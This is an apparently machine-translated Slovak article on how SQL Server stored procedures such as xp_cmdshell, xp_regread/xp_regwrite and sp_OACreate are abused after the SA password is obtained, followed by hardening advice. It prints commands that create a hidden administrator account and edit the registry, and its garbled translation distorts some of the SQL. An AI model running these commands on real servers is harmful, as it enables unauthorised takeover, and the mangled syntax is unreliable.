Uložené procedúry sú zbierkou predpísaných SQL príkazov uložených v SQLServer, medzi ktorými sú najnebezpečnejšie rozšírené uložené procedúry xp_cmdshell, ktoré dokážu vykonávať akékoľvek inštrukcie operačného systému, a SA je administrátorský účet Microsoft SQLServer, s najvyššími oprávneniami dokáže vykonávať rozšírené uložené procedúry a získavať návratové hodnoty, ako napríklad vykonávanie:
Výkonný majster.. xp_cmdshell 'Net User Test 1234 /add' a výkonný master: xp_cmdshell 'net localgroup administrators test /add'
Týmto spôsobom sa do systému druhej strany pridáva používateľské meno, heslo 1234 a administrátorské práva, ako je znázornené na obrázku 1.
Teraz by ste mali pochopiť, prečo ste dostali SA heslo a získali najvyššie oprávnenia systému. Často mnohí sieťoví administrátori o tejto situácii nevedia a majú pre svojich SA používateľov jednoduché heslá ako 1234 a 4321, alebo ich vôbec nenastavujú, aby si sieťoví narušitelia mohli heslo SA ľahko naskenovať pomocou hackovacích nástrojov a potom ovládať počítač.
Okrem xp_cmdshell existujú aj uložené procedúry, ktoré môžu byť zneužité narušiteľmi:
1. xp_regread (táto rozšírená uložená procedúra dokáže čítať hodnotu špecifikovanú v kľúči určenom v registri), ako ju použiť (získať názov stroja):
VYHLÁSIŤ@testvarchar(50) EXEC, majster.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test OUTPUT SELECT @test
2. xp_regwrite (táto rozšírená uložená procedúra dokáže zapísať hodnotu špecifikovanú v kľúči špecifikovanom v registri) a ako ju použiť (zapísať bbb do kľúča HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC, majster.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Ak administrátorský používateľ kompromitovaného počítača môže prehliadať informácie o HKEY_LOCAL_MACHINE\SAM\SAM\ v registri, potom dve uložené procedúry xp_regread a xp_regwrite môžu byť použité na klonovanie administrátorského používateľa a získanie administrátorských oprávnení. xp_regdeletekey. xp_regdeletevalue prinesie aj bezpečnostné riziká pre systém. 3. Séria úložiskových postupov súvisiacich s OLE, táto séria úložiskových procedúr má sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, použitie:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell', @shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
Týmto spôsobom druhý systém pridá test s používateľským menom a používateľa s heslom 1234 a potom vykoná:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell', @shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
Používateľský test, pridaný do skupiny Administrátori. Riešenie: Dajte SA heslo, ktoré je dostatočne zložité na to, aby bolo pre kybernetických útočníkov ťažké prelomiť. Pre bezpečnosť musíme tiež používať uložené procedúry v SQLS sp_addextendedproc sp_dropextendedproc erverovom analyzátore dotazov sp_dropextendedproc mazanie uložených procedúr, ako je xp_cmdshell, a potom použiť obnovu sp_addextendedproc podľa potreby. Treba poznamenať, že vymazanie uložených procedúr súvisiacich s OLE môže spôsobiť, že niektoré funkcie v Enterprise Manager budú nepoužiteľné, a autor ich tu neodporúča.
Teraz, keď vieme, ako SP_OACREATE používať, môžeme ísť do \WINNT \system32, nájsť cmd.exe, net.exe a net1.exe tri súbory a vymazať všetkých používateľov, ktorí k nim majú prístup, v sekcii "Vlastnosti" - "Bezpečnosť", aby sme nemohli použiť SP_OACREATE na zvýšenie počtu systémových používateľov, a mohli sme pridať používateľov prístupu, keď potrebujeme prístup k týmto súborom.
|